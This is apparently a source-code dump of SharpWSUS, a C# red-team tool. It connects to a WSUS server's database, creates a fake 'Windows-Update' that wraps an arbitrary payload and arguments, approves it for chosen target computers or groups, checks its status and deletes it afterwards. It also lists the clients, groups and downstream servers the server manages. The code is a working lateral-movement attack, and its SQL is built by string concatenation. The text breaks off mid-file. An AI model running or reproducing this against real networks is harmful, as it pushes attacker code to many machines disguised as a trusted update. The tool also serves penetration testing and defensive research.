39 | } 40 | 41 | if (arguments.ContainsKey("/date")) 42 | { 43 | UpdateDate = arguments["/date"]; 44 | } 45 | 46 | if (arguments.ContainsKey("/rating")) 47 | { 48 | UpdateRating = arguments["/rating"]; 49 | } 50 | 51 | if (arguments.ContainsKey("/msrc")) 52 | { 53 | UpdateMSRC = arguments["/msrc"]; 54 | } 55 | 56 | if (arguments.ContainsKey("/kb")) 57 | { 58 | UpdateKB = arguments["/kb"]; 59 | } 60 | 61 | if (arguments.ContainsKey("/description")) 62 | { 63 | UpdateDescription = arguments["/description"]; 64 | } 65 | 66 | if (arguments.ContainsKey("/url")) 67 | { 68 | UpdateURL = arguments["/url"]; 69 | } 70 | 71 | Server.GetServerDetails(); 72 | SqlCommand sqlComm = new SqlCommand(); 73 | sqlComm.Connection = Connect.FsqlConnection(); 74 | 75 | ClGuid.GenerateUpdateGUID(); 76 | ClGuid.GenerateBundleGUID(); 77 | 78 | ClFile clFileData = new ClFile(PayloadPath, PayloadArgs, Server.sLocalContentCacheLocation, true); 79 | 80 | Console.WriteLine("[*] Creating patch to use the following:"); 81 | Console.WriteLine("[*] Payload: {0}",ClFile.sFileName); 82 | Console.WriteLine("[*] Payload Path: {0}", ClFile.sFilePath); 83 | Console.WriteLine("[*] Arguments: {0}", PayloadArgs); 84 | Console.WriteLine("[*] Arguments (HTML Encoded): {0}", ClFile.sArgs); 85 | 86 | if (!Enum.FbGetWSUSConfigSQL(sqlComm)) 87 | { 88 | return; 89 | } 90 | if (!Build.FbImportUpdate(sqlComm)) 91 | { 92 | return; 93 | } 94 | if (!Build.FbPrepareXMLtoClient(sqlComm)) 95 | { 96 | return; 97 | } 98 | if (!Build.FbInjectUrl2Download(sqlComm)) 99 | { 100 | return; 101 | } 102 | if (!Build.FbDeploymentRevision(sqlComm)) 103 | { 104 | return; 105 | } 106 | if (!Build.FbPrepareBundle(sqlComm)) 107 | { 108 | return; 109 | } 110 | if (!Build.FbPrepareXmlBundleToClient(sqlComm)) 111 | { 112 | return; 113 | } 114 | if (!Build.FbDeploymentRevision(sqlComm)) 115 | { 116 | return; 117 | } 118 | 119 | Console.WriteLine("\r\n[*] Update created - When ready to deploy use the following command:"); 120 | Console.WriteLine("[*] SharpWSUS.exe approve /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); 121 | Console.WriteLine("\r\n[*] To check on the update status use the following command:"); 122 | Console.WriteLine("[*] SharpWSUS.exe check /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN"); 123 | Console.WriteLine("\r\n[*] To delete the update use the following command:"); 124 | Console.WriteLine("[*] SharpWSUS.exe delete /updateid:" + ClGuid.gBundle + " /computername:Target.FQDN /groupname:\"Group Name\""); 125 | Console.WriteLine("\r\n[*] Create complete\r\n"); 126 | } 127 | } 128 | } -------------------------------------------------------------------------------- /SharpWSUS/lib/Status.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | 4 | public class Status 5 | { 6 | public static bool FbApproveUpdate(SqlCommand sqlCommFun, string UpdateID, string Approver) 7 | { 8 | SqlDataReader sqldrReader; 9 | sqlCommFun.CommandText = @"exec spDeployUpdate @updateID='" + UpdateID + "',@revisionNumber=204,@actionID=0,@targetGroupID='" + ClGuid.gTargetGroup + "',@adminName=N'" + Approver + "',@isAssigned=1,@downloadPriority=1,@failIfReplica=0,@isReplica=0"; 10 | try 11 | { 12 | sqldrReader = sqlCommFun.ExecuteReader(); 13 | sqldrReader.Close(); 14 | Console.WriteLine("Approved Update"); 15 | } 16 | catch (Exception e) 17 | { 18 | Console.WriteLine("\r\nFunction error - FbApproveUpdate."); 19 | 20 | Console.WriteLine($"Error Message: {e.Message}"); 21 | return false; 22 | } 23 | sqldrReader.Close(); 24 | return true; 25 | } 26 | 27 | public static bool FbDeleteUpdate(SqlCommand sqlCommFun, string sBundleID) 28 | { 29 | SqlDataReader sqldrReader; 30 | sqlCommFun.CommandText = @"exec spDeclineUpdate @updateID='" + sBundleID + "'"; 31 | try 32 | { 33 | sqldrReader = sqlCommFun.ExecuteReader(); 34 | sqldrReader.Close(); 35 | Console.WriteLine("\r\n[*] Update declined.\r\n"); 36 | } 37 | catch (Exception e) 38 | { 39 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); 40 | 41 | Console.WriteLine($"Error Message: {e.Message}"); 42 | return false; 43 | } 44 | sqlCommFun.CommandText = @"exec spDeleteUpdateByUpdateID @updateID='" + sBundleID + "'"; 45 | try 46 | { 47 | sqldrReader = sqlCommFun.ExecuteReader(); 48 | sqldrReader.Close(); 49 | Console.WriteLine("\r\n[*] Update deleted.\r\n"); 50 | } 51 | catch (Exception e) 52 | { 53 | Console.WriteLine("\r\nFunction error - FbDeleteUpdate."); 54 | Console.WriteLine($"Error Message: {e.Message}"); 55 | Console.WriteLine("If you are in a lab and this timed out, this could occur if there are too many old patches in the database causing performance issues."); 56 | return false; 57 | } 58 | sqldrReader.Close(); 59 | return true; 60 | } 61 | 62 | public static bool FbGetUpdateStatus(SqlCommand sqlCommFun, string UpdateID) 63 | { 64 | int LocalUpdateID = 0; 65 | SqlDataReader sqldrReader; 66 | sqlCommFun.CommandText = @"SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '" + UpdateID + "'"; 67 | try 68 | { 69 | sqldrReader = sqlCommFun.ExecuteReader(); 70 | } 71 | catch (Exception e) 72 | { 73 | Console.WriteLine("\r\nFunction error - FbGetUpdateStatus."); 74 | 75 | Console.WriteLine($"Error Message: {e.Message}"); 76 | return false; 77 | } 78 | 79 | if (sqldrReader.Read()) 80 | { 81 | LocalUpdateID = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalUpdateID")); 82 | sqldrReader.Close(); 83 | } 84 | else 85 | { 86 | Console.WriteLine("\r\nUpdate ID " + UpdateID + " cannot be found."); 87 | return false; 88 | } 89 | 90 | sqlCommFun.CommandText = @"SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalUpdateID='" + LocalUpdateID + "' AND TargetID='" + Server.sTargetComputerTargetID + "'"; 91 | try 92 | { 93 | sqldrReader = sqlCommFun.ExecuteReader(); 94 | } 95 | catch (Exception e) 96 | { 97 | Console.WriteLine("\r\nFunction error - FbGetUpdateStatus2."); 98 | 99 | Console.WriteLine($"Error Message: {e.Message}"); 100 | return false; 101 | } 102 | 103 | if (sqldrReader.Read()) 104 | { 105 | int SummarizationState = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("SummarizationState")); 106 | if (SummarizationState == 1) 107 | { 108 | Console.WriteLine("\r\n[*] Update is not needed"); 109 | return true; 110 | } 111 | if (SummarizationState == 2) 112 | { 113 | Console.WriteLine("\r\n[*] Update is not installed"); 114 | return true; 115 | } 116 | if (SummarizationState == 3) 117 | { 118 | Console.WriteLine("\r\n[*] Update is downloaded"); 119 | return true; 120 | } 121 | if (SummarizationState == 4) 122 | { 123 | Console.WriteLine("\r\n[*] Update is installed"); 124 | return true; 125 | } 126 | if (SummarizationState == 5) 127 | { 128 | Console.WriteLine("\r\n[*] Update failed"); 129 | return true; 130 | } 131 | if (SummarizationState == 6) 132 | { 133 | Console.WriteLine("\r\n[*] Reboot Required"); 134 | return true; 135 | } 136 | else 137 | { 138 | Console.WriteLine("\r\n[*] Update Info was found but state is unknown"); 139 | return true; 140 | } 141 | } 142 | else 143 | { 144 | Console.WriteLine("\r\nUpdate Info cannot be found."); 145 | } 146 | 147 | sqldrReader.Close(); 148 | return true; 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /SharpWSUS/lib/Enum.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Data.SqlClient; 4 | 5 | public class Enum 6 | { 7 | public static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun) 8 | { 9 | SqlDataReader sqldrReader; 10 | sqlCommFun.CommandText = "exec spConfiguration"; 11 | try 12 | { 13 | //Gather Information via SQL 14 | sqldrReader = sqlCommFun.ExecuteReader(); 15 | if (sqldrReader.Read()) 16 | { 17 | Server.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation")); 18 | Server.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber")); 19 | Console.WriteLine("\r\n################# WSUS Server Enumeration via SQL ##################"); 20 | Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation"); 21 | Console.WriteLine("-----------------------------------------------"); 22 | Console.WriteLine("{0}, {1}, {2}\r\n", Environment.MachineName, Server.iPortNumber, Server.sLocalContentCacheLocation); 23 | sqldrReader.Close(); 24 | return true; 25 | } 26 | return false; 27 | } 28 | catch (Exception e) 29 | { 30 | Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL."); 31 | 32 | Console.WriteLine($"Error Message: {e.Message}"); 33 | return false; 34 | } 35 | } 36 | public static bool FbEnumAllComputers(SqlCommand sqlCommFun) 37 | { 38 | SqlDataReader sqldrReader; 39 | sqlCommFun.CommandText = "exec spGetAllComputers"; 40 | try 41 | { 42 | Console.WriteLine("\r\n####################### Computer Enumeration #######################"); 43 | Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime"); 44 | Console.WriteLine("---------------------------------------------------"); 45 | sqldrReader = sqlCommFun.ExecuteReader(); 46 | int count = sqldrReader.FieldCount; 47 | while (sqldrReader.Read()) 48 | { 49 | Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime"))); 50 | } 51 | sqldrReader.Close(); 52 | return true; 53 | } 54 | catch (Exception e) 55 | { 56 | Console.WriteLine("\r\nFunction error - FbEnumAllComputers."); 57 | 58 | Console.WriteLine($"Error Message: {e.Message}"); 59 | return false; 60 | } 61 | } 62 | public static bool FbEnumDownStream(SqlCommand sqlCommFun) 63 | { 64 | SqlDataReader sqldrReader; 65 | sqlCommFun.CommandText = "exec spGetAllDownstreamServers"; 66 | try 67 | { 68 | Console.WriteLine("\r\n####################### Downstream Server Enumeration #######################"); 69 | Console.WriteLine("ComputerName, OSVersion, LastCheckInTime"); 70 | Console.WriteLine("---------------------------------------------------"); 71 | sqldrReader = sqlCommFun.ExecuteReader(); 72 | int count = sqldrReader.FieldCount; 73 | while (sqldrReader.Read()) 74 | { 75 | Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime"))); 76 | } 77 | sqldrReader.Close(); 78 | return true; 79 | } 80 | catch (Exception e) 81 | { 82 | Console.WriteLine("\r\nFunction error - FbEnumDownStream."); 83 | 84 | Console.WriteLine($"Error Message: {e.Message}"); 85 | return false; 86 | } 87 | } 88 | 89 | public static bool FbEnumGroups(SqlCommand sqlCommFun) 90 | { 91 | SqlDataReader sqldrReader; 92 | sqlCommFun.CommandText = "exec spGetAllTargetGroups"; 93 | try 94 | { 95 | Console.WriteLine("\r\n####################### Group Enumeration #######################"); 96 | Console.WriteLine("GroupName"); 97 | Console.WriteLine("---------------------------------------------------"); 98 | sqldrReader = sqlCommFun.ExecuteReader(); 99 | int count = sqldrReader.FieldCount; 100 | while (sqldrReader.Read()) 101 | { 102 | Console.WriteLine("{0}", sqldrReader.GetValue(sqldrReader.GetOrdinal("Name"))); 103 | } 104 | sqldrReader.Close(); 105 | return true; 106 | } 107 | catch (Exception e) 108 | { 109 | Console.WriteLine("\r\nFunction error - FbEnumGroups."); 110 | 111 | Console.WriteLine($"Error Message: {e.Message}"); 112 | return false; 113 | } 114 | } 115 | 116 | public static bool FbGetWSUSServer() 117 | { 118 | try 119 | { 120 | const string keyName = @"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate"; 121 | string WSUSServer = (string)Registry.GetValue(keyName, "WUServer", "WSUS Registry Key Not Found!"); 122 | 123 | Console.WriteLine("WSUS Server: {0}", WSUSServer); 124 | 125 | return true; 126 | } 127 | catch (Exception e) 128 | { 129 | Console.WriteLine("\r\nFunction error - FbGetWSUSServer."); 130 | 131 | Console.WriteLine($"Error Message: {e.Message}"); 132 | return false; 133 | } 134 | } 135 | } 136 | -------------------------------------------------------------------------------- /SharpWSUS/lib/Server.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | 4 | public class Server 5 | { 6 | public static bool bWSUSInstalled = true; 7 | public static string sOS; 8 | public static string sDatabaseInstance; 9 | public static string sDatabaseName; 10 | public static string sLocalContentCacheLocation; 11 | public static string sComputerName; 12 | public static int iPortNumber; 13 | public static bool bSSL; 14 | public static string sTargetComputerID; 15 | public static int sTargetComputerTargetID; 16 | 17 | public static void GetServerDetails() 18 | { 19 | FvCheckSSL(); 20 | FvFullComputerName(); 21 | FvOSDetails(); 22 | FvDatabaseBaseName(); 23 | FvContentDirectory(); 24 | } 25 | public static void FvContentDirectory() 26 | { 27 | string sContentDirectoryTemp = string.Empty; 28 | sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); 29 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") 30 | { 31 | sContentDirectoryTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir"); 32 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND") 33 | { 34 | bWSUSInstalled = false; 35 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); 36 | return; 37 | } 38 | } 39 | sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp); 40 | sContentDirectoryTemp = ReverseString(sContentDirectoryTemp); 41 | sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp); 42 | return; 43 | } 44 | public static void FvFullComputerName() 45 | { 46 | sComputerName = Dns.GetHostEntry("LocalHost").HostName; 47 | } 48 | public static void FvDatabaseBaseName() 49 | { 50 | string sDBServerTemp = string.Empty; 51 | sDBServerTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); 52 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") 53 | { 54 | sDBServerTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName"); 55 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND") 56 | { 57 | bWSUSInstalled = false; 58 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); 59 | return; 60 | } 61 | } 62 | sDBServerTemp = HEX2ASCII(sDBServerTemp); 63 | sDatabaseInstance = ReverseString(sDBServerTemp); 64 | 65 | string sDBNameTemp = string.Empty; 66 | sDBNameTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); 67 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") 68 | { 69 | sDBNameTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName"); 70 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND") 71 | { 72 | bWSUSInstalled = false; 73 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry."); 74 | return; 75 | } 76 | } 77 | sDBNameTemp = HEX2ASCII(sDBNameTemp); 78 | sDatabaseName = ReverseString(sDBNameTemp); 79 | return; 80 | } 81 | public static void FvOSDetails() 82 | { 83 | string sOSTemp = string.Empty; 84 | sOSTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); 85 | if (sOSTemp == "ERROR_FILE_NOT_FOUND") 86 | { 87 | sOSTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName"); 88 | if (sOSTemp == "ERROR_FILE_NOT_FOUND") 89 | { 90 | bWSUSInstalled = false; 91 | Console.WriteLine("Something went wrong, unable to detect OS version."); 92 | return; 93 | } 94 | } 95 | sOSTemp = HEX2ASCII(sOSTemp); 96 | sOS = ReverseString(sOSTemp); 97 | } 98 | public static void FvCheckSSL() 99 | { 100 | string sSSLTemp = string.Empty; 101 | sSSLTemp = Reg.RegistryWOW6432.GetRegKey64(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); 102 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND") 103 | { 104 | sSSLTemp = Reg.RegistryWOW6432.GetRegKey32(Reg.RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL"); 105 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND") 106 | { 107 | bWSUSInstalled = false; 108 | return; 109 | } 110 | } 111 | if (sSSLTemp == "01") 112 | { 113 | bSSL = true; 114 | } 115 | else 116 | { 117 | bSSL = false; 118 | } 119 | } 120 | //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp 121 | public static string HEX2ASCII(string hex) 122 | { 123 | string res = String.Empty; 124 | for (int a = 0; a < hex.Length; a = a + 2) 125 | { 126 | string Char2Convert = hex.Substring(a, 2); 127 | int n = Convert.ToInt32(Char2Convert, 16); 128 | char c = (char)n; 129 | res += c.ToString(); 130 | } 131 | return res; 132 | } 133 | //https://www.dotnetperls.com/reverse-string 134 | public static string ReverseString(string s) 135 | { 136 | char[] arr = s.ToCharArray(); 137 | Array.Reverse(arr); 138 | return new string(arr); 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /SharpWSUS/lib/Group.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | 4 | public class Group 5 | { 6 | public static bool GroupExists = false; 7 | public static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer) 8 | { 9 | SqlDataReader sqldrReader; 10 | sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'"; 11 | try 12 | { 13 | Console.WriteLine("\r\nTargeting {0}", sTargetComputer); 14 | Console.WriteLine("TargetComputer, ComputerID, TargetID"); 15 | Console.WriteLine("------------------------------------"); 16 | sqldrReader = sqlCommFun.ExecuteReader(); 17 | if (sqldrReader.Read()) 18 | { 19 | Server.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID")); 20 | if (Server.sTargetComputerID.Length != 0) 21 | { 22 | sqldrReader.Close(); 23 | sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + Server.sTargetComputerID + "')"; 24 | sqldrReader = sqlCommFun.ExecuteReader(); 25 | if (sqldrReader.Read()) 26 | { 27 | Server.sTargetComputerTargetID = (int)sqldrReader.GetValue(0); 28 | Console.WriteLine("{0}, {1}, {2}", sTargetComputer, Server.sTargetComputerID, Server.sTargetComputerTargetID); 29 | sqldrReader.Close(); 30 | return true; 31 | } 32 | else 33 | { 34 | Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, Server.sTargetComputerID); 35 | sqldrReader.Close(); 36 | return false; 37 | } 38 | } 39 | else 40 | { 41 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); 42 | sqldrReader.Close(); 43 | return false; 44 | } 45 | } 46 | else 47 | { 48 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer); 49 | return false; 50 | } 51 | 52 | } 53 | catch (Exception e) 54 | { 55 | Console.WriteLine("\r\nFunction error - FbGetComputerTarget."); 56 | 57 | Console.WriteLine($"Error Message: {e.Message}"); 58 | return false; 59 | } 60 | } 61 | 62 | public static bool FbGetGroupID(SqlCommand sqlCommFun, string GroupName) 63 | { 64 | SqlDataReader sqldrReader; 65 | sqlCommFun.CommandText = @"exec spGetAllTargetGroups"; 66 | try 67 | { 68 | sqldrReader = sqlCommFun.ExecuteReader(); 69 | int count = sqldrReader.FieldCount; 70 | while (sqldrReader.Read()) 71 | { 72 | string TargetGroupName = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("Name")); 73 | if (TargetGroupName == GroupName) 74 | { 75 | ClGuid.gTargetGroup = (Guid)sqldrReader.GetValue(sqldrReader.GetOrdinal("TargetGroupID")); 76 | GroupExists = true; 77 | } 78 | } 79 | } 80 | catch 81 | { 82 | Console.WriteLine("\r\nGroup does not exist already."); 83 | return true; 84 | } 85 | sqldrReader.Close(); 86 | return true; 87 | } 88 | 89 | public static bool FbCreateGroup(SqlCommand sqlCommFun, string GroupName) 90 | { 91 | SqlDataReader sqldrReader; 92 | sqlCommFun.CommandText = @"exec spCreateTargetGroup @name='" + GroupName + "', @id='" + ClGuid.gTargetGroup + "'"; 93 | try 94 | { 95 | sqldrReader = sqlCommFun.ExecuteReader(); 96 | sqldrReader.Close(); 97 | 98 | Console.WriteLine("Group Created: {0}", GroupName); 99 | } 100 | catch (Exception e) 101 | { 102 | Console.WriteLine("\r\nFunction error - FbCreateGroup."); 103 | 104 | Console.WriteLine($"Error Message: {e.Message}"); 105 | return false; 106 | } 107 | sqldrReader.Close(); 108 | return true; 109 | } 110 | 111 | public static bool FbRemoveGroup(SqlCommand sqlCommFun) 112 | { 113 | SqlDataReader sqldrReader; 114 | sqlCommFun.CommandText = @"exec spDeleteTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "'"; 115 | try 116 | { 117 | sqldrReader = sqlCommFun.ExecuteReader(); 118 | sqldrReader.Close(); 119 | 120 | Console.WriteLine("Remove Group"); 121 | } 122 | catch (Exception e) 123 | { 124 | Console.WriteLine("\r\nFunction error - FbRemoveGroup."); 125 | 126 | Console.WriteLine($"Error Message: {e.Message}"); 127 | return false; 128 | } 129 | sqldrReader.Close(); 130 | return true; 131 | } 132 | 133 | public static bool FbAddComputerToGroup(SqlCommand sqlCommFun, int ComputerTargetID) 134 | { 135 | SqlDataReader sqldrReader; 136 | sqlCommFun.CommandText = @"exec spAddTargetToTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; 137 | try 138 | { 139 | sqldrReader = sqlCommFun.ExecuteReader(); 140 | sqldrReader.Close(); 141 | 142 | Console.WriteLine("Added Computer To Group"); 143 | 144 | } 145 | catch (Exception e) 146 | { 147 | Console.WriteLine("\r\nFunction error - FbAddComputerToGroup."); 148 | 149 | Console.WriteLine($"Error Message: {e.Message}"); 150 | return false; 151 | } 152 | sqldrReader.Close(); 153 | return true; 154 | } 155 | 156 | public static bool FbRemoveComputerFromGroup(SqlCommand sqlCommFun, int ComputerTargetID) 157 | { 158 | SqlDataReader sqldrReader; 159 | sqlCommFun.CommandText = @"exec spRemoveTargetFromTargetGroup @targetGroupID='" + ClGuid.gTargetGroup + "', @targetID=" + ComputerTargetID; 160 | try 161 | { 162 | sqldrReader = sqlCommFun.ExecuteReader(); 163 | sqldrReader.Close(); 164 | 165 | Console.WriteLine("Removed Computer From Group"); 166 | 167 | } 168 | catch (Exception e) 169 | { 170 | Console.WriteLine("\r\nFunction error - FbRemoveComputerFromGroup."); 171 | 172 | Console.WriteLine($"Error Message: {e.Message}"); 173 | return false; 174 | } 175 | sqldrReader.Close(); 176 | return true; 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /SharpWSUS/lib/Build.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Data.SqlClient; 4 | using SharpWSUS.Commands; 5 | 6 | public class Build 7 | { 8 | 9 | public static bool FbImportUpdate(SqlCommand sqlCommFun) 10 | { 11 | System.Data.DataTable dtDataTbl = new System.Data.DataTable(); 12 | SqlDataReader sqldrReader; 13 | StringBuilder sbUpdate = new StringBuilder(); 14 | 15 | sbUpdate.AppendLine(@"declare @iImported int"); 16 | sbUpdate.AppendLine(@"declare @iLocalRevisionID int"); 17 | sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'"); 18 | sbUpdate.AppendLine(@""); 19 | sbUpdate.AppendLine("\t" + @""); 20 | sbUpdate.AppendLine("\t" + @""); 21 | sbUpdate.AppendLine("\t\t" + @""); 22 | sbUpdate.AppendLine("\t\t" + @""); 23 | sbUpdate.AppendLine("\t" + @""); 24 | sbUpdate.AppendLine("\t" + @""); 25 | sbUpdate.AppendLine("\t\t" + @""); 26 | sbUpdate.AppendLine("\t\t\t" + @"en"); 27 | sbUpdate.AppendLine("\t\t\t" + @"Windows-Update"); 28 | sbUpdate.AppendLine("\t\t" + @""); 29 | sbUpdate.AppendLine("\t" + @""); 30 | sbUpdate.AppendLine("\t" + @""); 31 | sbUpdate.AppendLine("\t\t" + @""); 32 | sbUpdate.AppendLine("\t\t" + @""); 33 | sbUpdate.AppendLine("\t" + @""); 34 | sbUpdate.AppendLine("\t" + @""); 35 | sbUpdate.AppendLine("\t\t" + @""); 36 | sbUpdate.AppendLine("\t\t\t" + @"" + ClFile.sSHA256 + @""); 37 | sbUpdate.AppendLine("\t\t" + @""); 38 | sbUpdate.AppendLine("\t" + @""); 39 | sbUpdate.AppendLine("\t" + @""); 40 | sbUpdate.AppendLine("\t\t" + @""); 41 | sbUpdate.AppendLine("\t\t\t" + @""); 42 | sbUpdate.AppendLine("\t\t" + @""); 43 | sbUpdate.AppendLine("\t" + @""); 44 | sbUpdate.AppendLine(@"',"); 45 | sbUpdate.AppendLine(@"@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL"); 46 | sbUpdate.AppendLine(@"select @iImported,@iLocalRevisionID"); 47 | sqlCommFun.CommandText = sbUpdate.ToString(); 48 | 49 | try 50 | { 51 | sqldrReader = sqlCommFun.ExecuteReader(); 52 | dtDataTbl.Load(sqldrReader); 53 | Create.iRevisionID = (int)dtDataTbl.Rows[0][1]; 54 | 55 | if (Create.iRevisionID == 0) 56 | { 57 | Console.WriteLine("Error importing update"); 58 | sqldrReader.Close(); 59 | return false; 60 | } 61 | 62 | Console.WriteLine("ImportUpdate"); 63 | Console.WriteLine("Update Revision ID: {0}", Create.iRevisionID); 64 | 65 | sqldrReader.Close(); 66 | return true; 67 | } 68 | catch (Exception e) 69 | { 70 | Console.WriteLine("\r\nFunction error - FbImportUpdate."); 71 | 72 | Console.WriteLine($"Error Message: {e.Message}"); 73 | return false; 74 | } 75 | } 76 | public static bool FbPrepareXMLtoClient(SqlCommand sqlCommFun) 77 | { 78 | SqlDataReader sqldrReader; 79 | StringBuilder sbXMLClient = new StringBuilder(); 80 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gUpdate + @""" RevisionNumber=""202"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL"); 81 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,4,N'<LocalizedProperties><Language>en</Language><Title>Windows-Update</Title></LocalizedProperties>',NULL,'en'"); 82 | sbXMLClient.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gUpdate + @"',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""" + ClFile.lSize + @""" MinDownloadSize=""" + ClFile.lSize + @"""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""" + ClFile.sSHA1 + @""" DigestAlgorithm=""SHA1"" FileName=""" + ClFile.sFileName + @""" Size=""" + ClFile.lSize + @""" Modified=""" + Create.UpdateDate + @"T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">" + ClFile.sSHA256 + @"</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""" + ClFile.sArgs + @""" Program=""" + ClFile.sFileName + @""" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData>',NULL"); 83 | sqlCommFun.CommandText = sbXMLClient.ToString(); 84 | try 85 | { 86 | Console.WriteLine("PrepareXMLtoClient"); 87 | sqldrReader = sqlCommFun.ExecuteReader(); 88 | sqldrReader.Close(); 89 | return true; 90 | } 91 | catch (Exception e) 92 | { 93 | Console.WriteLine("\r\nFunction error - FbPrepareXMLtoClient."); 94 | 95 | Console.WriteLine($"Error Message: {e.Message}"); 96 | return false; 97 | } 98 | } 99 | public static bool FbPrepareXmlBundleToClient(SqlCommand sqlCommFun) 100 | { 101 | SqlDataReader sqldrReader; 102 | StringBuilder sbXMLBundle = new StringBuilder(); 103 | sbXMLBundle.AppendLine(@"exec spSaveXmlFragment '" + ClGuid.gBundle + @"',204,1,N'<UpdateIdentity UpdateID=""" + ClGuid.gBundle + @""" RevisionNumber=""204"" 